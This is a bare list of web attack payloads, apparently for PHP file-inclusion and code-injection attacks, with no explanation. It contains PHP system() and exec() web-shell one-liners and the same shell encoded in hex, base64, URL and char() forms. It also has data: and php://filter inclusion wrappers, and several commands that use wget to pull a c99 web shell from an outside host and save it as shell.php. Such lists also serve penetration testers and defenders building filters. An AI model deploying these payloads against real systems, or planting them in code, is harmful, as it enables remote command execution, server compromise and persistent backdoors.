<?system('id');?>
<?system('uname -a');?>
<?php phpinfo(); ?>
<?system('wget http://www.sh3ll.org/c99.txt -O shell.php');?>
<? system($_GET['c']); ?>
0x3c3f2073797374656d28245f4745545b2763275d293b203f3e
PD8gc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==
%3C%3F%20system%28%24_GET%5B%27c%27%5D%29%3B%20%3F%3E
char(60,63,32,115,121,115,116,101,109,40,36,95,71,69,84,91,39,99,39,93,41,59,32,63,62)
data:;base64,PD8gZXhlYygkX0dFVFtjbWRdKTsgPz4=&cmd=whoami
data:;base64,PD8gZXhlYygkX0dFVFtjbWRdKTsgPz4=&cmd=wget http://www.sh3ll.org/c99.txt -O shell.php
php://filter/resource=http://www.sh3ll.org/c99.txt?
php://filter/convert.base64-encode/resource=index
php://filter/convert.base64-encode/resource=index.php
data:;base64,PD8gZXhlYygkX0dFVFtjbWRdKTsgPz4=&cmd=whoami
data:;base64,<? exec($_GET[cmd]); ?>&cmd=whoami
data:;base64,PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8+IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsneCddKT8+Ij48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0+PHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddfWA7ID8+PC9wcmU+PD8gZGllKCk7ID8+Cgo=
data:;base64,PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2BIiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsneCddKT8%2BIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2BPHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddfWA7ID8%2BPC9wcmU%2BPD8gZGllKCk7ID8%2BCgo%3D